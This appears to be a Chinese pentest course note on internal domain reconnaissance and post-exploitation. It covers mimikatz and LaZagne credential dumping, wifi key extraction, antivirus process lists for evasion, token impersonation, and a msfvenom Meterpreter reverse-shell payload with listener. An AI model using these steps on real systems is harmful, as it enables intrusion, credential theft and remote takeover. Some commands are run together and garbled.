DAY38:内网信息搜集

DAY38:内网信息搜集

1、域名系统概述

1.1、域名系统简介

域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。

1.2、域的分类

(1)单域:只有一个域

(2)域树:域下面有多个域

(3)域森林:多个域树组成的域

1.3、域术语

DC:域控,域的创建者

AD:Active Directory, 提供了一个分布式数据库,该数据库可以存储和管理有关网络资源的信息,也就是前面所说的活跃用户。

2、 内网渗透

2.1、域信息收集命令

query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表
第二个查的更多
net view /domain 查看有几个域
当我们通过外网打点进入内网环境的时候,我们就要开始进行内网渗透了,而当我们进入内网的时候,就像去了一个陌生的地方,我们就要不停的探索前方的路。

那么拿到这些命令收集的东西又有什么用呢?
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domainnet config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源ipconfig

systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -anonltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a

2.2、内网信息收集总结

​ 当我们通过外网打点进入内网环境的时候,我们就要开始进行内网渗透了,而当我们进入内网的时 候,就像去了一个陌生的地方,我们就要不停的探索前方的路

基础信息(存活主机、ip在哪个网段,whoami /all,判断网络拓扑,分析域控)
角色判断(web服务器、文件服务器、代理服务器、数据库服务器、DNS服务器、内网PC机成员,对服务器的角色进行判断)
区域判断(一般存在三种区域:外网区域、DMZ区域、内网区域)
机器角色、拓扑结构、机器所安装软件、操作系统、安装补丁等等信息
找相应的配置信息,或明文存储的密码,找相应OA,浏览器,后台的token、cookie免密登录,目标的资产信息等

请添加图片描述

PS:这些就是windows服务器版本对应的平时的操作系统版本
win2000-win98
win2003-winxp
win2008-win7
win2012-win8
win2016-win10
win2019-win11

攻击机器一个 win10-win2018 net.exe 那么我们是不是就可以把本机 net.exe 上传到 server上然后就可以执行net命令

win10-server 2008 我们本地 net.exe 就不可在2008上运行

2.3、一般网络互通情况

内网可以访问外网:内网的用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT

内网可以访问DMZ:此策略使内网用户可以使用或者管理 DMZ 中的服务器。 

外网不能访问内网:这是防火墙的基本策略,内网中存放的是公司内部数据,这些数据是不允许外网的用户进行访问的。如要访问,就要通过VPN方式来进行

外网可以访问DMZ:DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,外网访问DMZ需要由防火墙完成对外地址到服务器实际地址的转换

DMZ不能访问内网:如不执行此策略,则当入侵者攻陷DMZ时,内部网络将不会受保护。

DMZ不能访问外网:此条策略也有例外,比如我们的例子中,在DMZ中放置邮件服务器时,就需要访问外网,否则将不能正常工作。

判断是否存在域环境

ipconfig /all #判断当前是否存在域
Net view /domain #判断是否存在域环境

在主 DNS 后缀和 DNS 后缀搜索列表后有相应的域名,反之则无

请添加图片描述

请添加图片描述

查看主域机器名称

nslookup 主域名  #用nslookup去反向解析主域的ip地址
同样可以使用ping 命令获得域主机得到ip地址
ping + 主域名

请添加图片描述


请添加图片描述

查询域管理员信息

Net group "Domain Admins" /domain 	   #查询域管理员账户(需要相应权限)
Net group "Enterprise Admins" /domain  #查询域管理员用户组(需要相应权限)
Net group "Domain Controllers" /domain #查询域控制器(需要相应权限)

请添加图片描述

判断出存在域环境,在主域和一些域管理员的信息后,需要进行下一步的收集

查询网络配置信息

ipconfig /all	前面讲过了,也是判断是否存在于环境的一种方法

查询系统详细信息

systeminfo 系统的详细信息(在进行提权时可以通过此命令查找漏洞)
操作系统和版本信息
是否存在域和当前登录计算机名
系统所安装的补丁
网卡信息

检测系统补丁脚本: https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester 
查看补丁: https://github.com/chroblert/WindowsVulnScanwindows 
内核提权exp: https://github.com/SecWiki/windows-kernel-exploits 
在线提权利用查询: https://lolbas-project.github.io/

请添加图片描述

收集用户和组信息

net user //本地用户
net localgroup //本地用户组
net user /domain //获取域用户信息
wmic useraccount get /all //获取域用户详细信息

系统常见用的用户身份
Domain Admins: 域管理员(默认对域控制器有完全控制权)
Domain Computers: 域内机器
Domain Controllers: 域控制器1
Domain Guest: 域访客,权限低
Domain Users: 域用户
Enterprise Admins: 企业系统管理员用户(默认对域控制器有完全控制权)

获取当前用户权限和SID

whoamoi /all	//存储了相应用户的身分令牌

探测内网存活的主机

for /L %I in (1,1,254) DO @ping -w 1 -n 1 xxx.xxx.xx.%I | findstr "TTL=

请添加图片描述

也可使用 nmap、scanport 等第三方工具进行探测

 nmap -Pn ip_address

探测内网开放端口

nmap -p 1-65535 ip_address
或者使用 scanport

常见的端口信息

| 端口号 | 端口说明 | 攻击技巧 |
|--------|--------|--------|
|21/22/69|ftp/tftp:文件传输协议 |爆破\嗅探\溢出\后门|
|22|ssh:远程连接 |爆破OpenSSH;28个退格|
|23|telnet:远程连接 |爆破\嗅探|
|25|smtp:邮件服务 |邮件伪造|
|53|DNS:域名系统 |DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙|
|67/68|dhcp |劫持\欺骗|
|110|pop3 |爆破|
|139|samba |爆破\未授权访问\远程代码执行|
|143|imap |爆破|
|161|snmp |爆破|
|389|ldap |注入攻击\未授权访问|
|445|SMB |远程代码执行|
|512/513/514|linux r|直接使用rlogin|
|873|rsync |未授权访问|
|1080|socket |爆破:进行内网渗透|
|1352|lotus |爆破:弱口令\信息泄漏:源代码|
|1433|mssql |爆破:使用系统用户登录\注入攻击|
|1521|oracle |爆破:TNS\注入攻击|
|2049|nfs |配置不当|
|2181|zookeeper |未授权访问|
|3306|mysql |爆破\拒绝服务\注入|
|3389|rdp |爆破\Shift后门|
|4848|glassfish |爆破:控制台弱口令\认证绕过|
|5000|sybase/DB2 |爆破\注入|
|5432|postgresql |缓冲区溢出\注入攻击\爆破:弱口令|
|5632|pcanywhere |拒绝服务\代码执行|
|5900|vnc |爆破:弱口令\认证绕过|
|6379|redis |未授权访问\爆破:弱口令|
|7001|weblogic |Java反序列化\控制台弱口令\控制台部署webshell|
|80/443/8080|web |常见web攻击\控制台爆破\对应服务器版本漏洞|
|8069|zabbix |远程命令执行|
|9080|websphere |远程命令执行
|9090|websphere控制台 |爆破:控制台弱口令\Java反序列|
|9200/9300|elasticsearch |远程代码执行|
|11211|memcacache |未授权访问|
|27017|mongodb |爆破\未授权访问|

查询主机开机时间

net statistics workstation

请添加图片描述

查询启动程序信息

 wmic startup get command,caption

请添加图片描述

查询启动服务

net start

请添加图片描述

查询本机服务细信息

 wmic service list brief

请添加图片描述

查询计划任务

schtasks  #权限不够时无法列出

请添加图片描述

查询端口信息

netstat -ano

请添加图片描述

查看进程列表

tasklist

请添加图片描述

这里就需要进行相应的进程判断啦,这里放出一些杀软进程,有其他的可自行百度

可以在本地下载对应杀软,然后检测我们上传木马是否能 bypass

{"360tray.exe", "360安全卫士"}
{"360sd.exe", "360杀毒"}
{"a2guard.exe", "a-squared杀毒"}
{"ad-watch.exe", "Lavasoft杀毒"}
{"cleaner8.exe", "The Cleaner杀毒"}
{"vba32lder.exe", "vb32杀毒"}
{"MongoosaGUI.exe", "Mongoosa杀毒"}
{"CorantiControlCenter32.exe", "Coranti2012杀毒"}
{"F-PROT.EXE", "F-PROT杀毒"}
{"CMCTrayIcon.exe", "CMC杀毒"}
{"K7TSecurity.exe", "K7杀毒"}
{"UnThreat.exe", "UnThreat杀毒"}
{"CKSoftShiedAntivirus4.exe", "Shield Antivirus杀毒"}
{"AVWatchService.exe", "VIRUSfighter杀毒"}
{"ArcaTasksService.exe", "ArcaVir杀毒"}
{"iptray.exe", "Immunet杀毒"}
{"PSafeSysTray.exe", "PSafe杀毒"}
{"nspupsvc.exe", "nProtect杀毒"}
{"SpywareTerminatorShield.exe", "SpywareTerminator杀毒"}
{"BKavService.exe", "Bkav杀毒"}
{"MsMpEng.exe", "Microsoft Security Essentials"}
{"SBAMSvc.exe", "VIPRE"}
{"ccSvcHst.exe", "Norton杀毒"}
{"QQ.exe", "QQ"}
{"f-secure.exe", "冰岛"}
{"avp.exe", "卡巴斯基"}
{"KvMonXP.exe", "江民杀毒"}
{"RavMonD.exe", "瑞星杀毒"}
{"Mcshield.exe", "麦咖啡"}
{"egui.exe", "NOD32"}
{"kxetray.exe", "金山毒霸"}
{"knsdtray.exe", "可牛杀毒"}
{"avcenter.exe", "Avira(小红伞)"}
{"ashDisp.exe", "Avast网络安全"}
{"rtvscan.exe", "诺顿杀毒"}
{"ksafe.exe", "金山卫士"}
{"QQPCRTP.exe", "QQ电脑管家"}
{"Miner.exe", "流量矿石"}
{"AYAgent.aye", "韩国胶囊"}
{"patray.exe", "安博士"}
{"V3Svc.exe", "安博士V3"}
{"avgwdsvc.exe", "AVG杀毒"}
{"ccSetMgr.exe", "赛门铁克"}
{"QUHLPSVC.EXE", "QUICK HEAL杀毒"}
{"mssecess.exe", "微软杀毒"}
{"SavProgress.exe", "Sophos杀毒"}
{"fsavgui.exe", "F-Secure杀毒"}
{"vsserv.exe", "比特梵德"}
{"remupd.exe", "熊猫卫士"}
{"FortiTray.exe", "飞塔"}
{"safedog.exe", "安全狗"}
{"parmor.exe", "木马克星"}
{"beikesan.exe", "贝壳云安全"}
{"KSWebShield.exe", "金山网盾"}
{"TrojanHunter.exe", "木马猎手"}
{"GG.exe", "巨盾网游安全盾"}
{"adam.exe", "绿鹰安全精灵"}
{"AST.exe", "超级巡警"}
{"ananwidget.exe", "墨者安全专家"}
{"AVK.exe", "GData"}
{"ccapp.exe", "Symantec Norton"}
{"avg.exe", "AVG Anti-Virus"}
{"spidernt.exe", "Dr.web"}
{"Mcshield.exe", "Mcafee"}
{"avgaurd.exe", "Avira Antivir"}
{"F-PROT.exe", "F-Prot AntiVirus"}
{"vsmon.exe", "ZoneAlarm"}
{"avp.exee", "Kaspersky"}
{"cpf.exe", "Comodo"}
{"outpost.exe", "Outpost Firewall"},
{"rfwmain.exe", "瑞星防火墙"},
{"kpfwtray.exe", "金山网镖"},
{"FYFireWall.exe", "风云防火墙"},
{"MPMon.exe", "微点主动防御"},
{"pfw.exe", "天网防火墙"},
{"S.exe", "在抓鸡"},
{"1433.exe", "在扫1433"},
{"DUB.exe", "在爆破"},
{"ServUDaemon.exe", "发现S-U"},
{"BaiduSdSvc.exe", "百度杀软"},

安全狗:
SafeDogGuardCenter.exe
safedogupdatecenter.exe
safedogguardcenter.exe
SafeDogSiteIIS.exe
SafeDogTray.exe
SafeDogServerUI.exe

D盾:
D_Safe_Manage.exe
d_manage.exe

云锁:
yunsuo_agent_service.exe
yunsuo_agent_daemon.exe

护卫神:
HwsPanel.exe 护卫神·入侵防护系统(状态托盘)
hws_ui.exe 护卫神·入侵防护系统
hws.exe 护卫神·入侵防护系统 服务处理程序
hwsd.exe 护卫神·入侵防护系统 监控组件

火绒:
hipstray.exe
wsctrl.exe
usysdiag.exe

趋势科技:
TMBMSRV.exe
ntrtscan.exe
PCCNTMON.exe
TMLISTEN.exe

查询共享列表

net share    //查询共享资源

2.4、内网密文或明文等口令收集

使用工具 mimikatz

​ 在内网环境中,一般口令都是统一发布的,当我们得知内网中一台机器的口令时,内网其他的口令 很有可能和我们得到的口令类似,或者直接一样,我们可以把这些口令搜集在一起,结合一下,生成 一个密码字典,对内网中其他机器口令进行爆破

mimikatz收集一些明文信息:
开启debug模式:mimikatz # privilege::debug
mimikatz #sekurlsa::logonpasswords 获取口令
win2012之前 密码是在内存中进行加密存储的 在这之后

mimikatz他是同反向逆转的方式将内存中的密码这一块进行破解

python+mimikatz
win2012以后密码存储
isaa一个文件里

请添加图片描述

请添加图片描述

PS:
在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码了。
mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行,所以我们这里用administrator权限启动mimikatz。

获取 wifi 密码

netsh wlan show profiles
netsh wlan show profile name="wifi名称" key=clear

配置文件中的密码信息

cd /web findstr /s /m “password” *.*

常用应用的默认配置路径

Tomcat: CATALINA_HOME/conf/tomcat-users.xml
Apache: /etc/httpd/conf/httpd.conf
Nginx: /etc/nginx/nginx.conf
Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf
Mysql: mysql\data\mysql\user.MYD

2.5、信息搜集自动化工具

(1)LaZagne

项目地址:https://github.com/AlessandroZ/LaZagne

指令:lazagne.exe all 自动化搜集明文密码,cookie,token

请添加图片描述

(2)XenArmor

下载地址:https://xenarmor.com/ 支持win7-win10

图形化界面,傻瓜式操作,setting 里面可勾选查找信息,点击 Recover Passwords,即可获取

请添加图片描述

3、Token(身份令牌)

3.1、令牌概述

​ 令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

​ 假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击

3.2、令牌的分类

(1)访问令牌(Access Token):表示访问控制操作主体的系统对象

(2)会话令牌(Session Token):是交互会话中唯一的身份标识符

(3)密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

Windows 的 AccessToken 有两种类型

Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)

Impresonation Token:模拟令牌,它是非交互的会话 (例如使用net use访问共享文件夹)

PS:两种token只在系统重启后清除 具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

本地安装不了wmtools 的可以在本机启动一个python server
python -m http.server

3.3、Access Token的窃取与利用

AccessToken的窃取与利用需要administrator管理员权限或system权限,要提权

常见的 AccessToken 盗取方法:

  • 程序 incognito.exe
  • MSF里的incognito模块
  • InvokeTokenManipulat.ps1脚本

(1)incognito.exe令牌的盗取:

incognito.exe这样一个东西,他并非是一个提权工具。

当他目前登录的账号是一个system权限的时候,他列出的可登录的这种身份令牌只有他,以及包括他以下权限的身份令牌。

首先:列出所有可用的身份令牌:incognito.exe list_tokens -u 此时就会列出所有可用的身份令牌

使用:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

incognito.exe list_tokens -u //列出所有可用的身份令牌
incognito.exe execute -c "完整的 Token 名" cmd.exe
ex:incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe //盗用身份令牌
incognito.exe execute -c "完整的Token名" cmd.exe

例如:模拟system权限用户(提权至system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe

请添加图片描述

(2)MSF里的incognito模块

use incognito    #加载incognito

msf 生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=port LHOST=ip_address

监听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcpset lhost ip_address
set lport port
exploit

伪造令牌

getsystem        #提升至system权限
rev2self         #返回到之前的AccessToken权限

//模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
impersonate_token "NT AUTHORITY\SYSTEM" 
impersonate_token WIN2008\\adminstrator     #模拟WIN2008\adminstrator的令牌(身份)
impersonate_token WIN2008\\test             #模拟WIN2008\test的令牌(身份)

查看进程 PID

list_tokens -u   	#列出AccessToken
incognitolist_tokens -u  #列出token
getuid           	#查看当前token
AccessTokengetuid  #查看当前令牌(token)
steal_token 1252 	#从进程窃取token

(3)InvokeTokenManipulat.ps1脚本

地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

枚举token:
Invoke-TokenManipulation -Enumerate
提权至system:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
复制(窃取)进程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制(窃取)线程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


学习编程是顺着互联网的发展潮流,是一件好事。新手如何学习编程?其实不难,不过在学习编程之前你得先了解你的目的是什么?这个很重要,因为目的决定你的发展方向、决定你的发展速度。
IT行业是什么工作做什么?IT行业的工作有:产品策划类、页面设计类、前端与移动、开发与测试、营销推广类、数据运营类、运营维护类、游戏相关类等,根据不同的分类下面有细分了不同的岗位。
女生学Java好就业吗?女生适合学Java编程吗?目前有不少女生学习Java开发,但要结合自身的情况,先了解自己适不适合去学习Java,不要盲目的选择不适合自己的Java培训班进行学习。只要肯下功夫钻研,多看、多想、多练
Can’t connect to local MySQL server through socket \'/var/lib/mysql/mysql.sock问题 1.进入mysql路径
oracle基本命令 一、登录操作 1.管理员登录 # 管理员登录 sqlplus / as sysdba 2.普通用户登录
一、背景 因为项目中需要通北京网络,所以需要连vpn,但是服务器有时候会断掉,所以写个shell脚本每五分钟去判断是否连接,于是就有下面的shell脚本。
BETWEEN 操作符选取介于两个值之间的数据范围内的值。这些值可以是数值、文本或者日期。
假如你已经使用过苹果开发者中心上架app,你肯定知道在苹果开发者中心的web界面,无法直接提交ipa文件,而是需要使用第三方工具,将ipa文件上传到构建版本,开...
下面的 SQL 语句指定了两个别名,一个是 name 列的别名,一个是 country 列的别名。**提示:**如果列名称包含空格,要求使用双引号或方括号:
在使用H5混合开发的app打包后,需要将ipa文件上传到appstore进行发布,就需要去苹果开发者中心进行发布。​
+----+--------------+---------------------------+-------+---------+
数组的声明并不是声明一个个单独的变量,比如 number0、number1、...、number99,而是声明一个数组变量,比如 numbers,然后使用 nu...
第一步:到appuploader官网下载辅助工具和iCloud驱动,使用前面创建的AppID登录。
如需删除表中的列,请使用下面的语法(请注意,某些数据库系统不允许这种在数据库表中删除列的方式):
前不久在制作win11pe,制作了一版,1.26GB,太大了,不满意,想再裁剪下,发现这次dism mount正常,commit或discard巨慢,以前都很快...
赛门铁克各个版本概览:https://knowledge.broadcom.com/external/article?legacyId=tech163829
实测Python 3.6.6用pip 21.3.1,再高就报错了,Python 3.10.7用pip 22.3.1是可以的
Broadcom Corporation (博通公司,股票代号AVGO)是全球领先的有线和无线通信半导体公司。其产品实现向家庭、 办公室和移动环境以及在这些环境...
发现个问题,server2016上安装了c4d这些版本,低版本的正常显示窗格,但红色圈出的高版本c4d打开后不显示窗格,
TAT:https://cloud.tencent.com/document/product/1340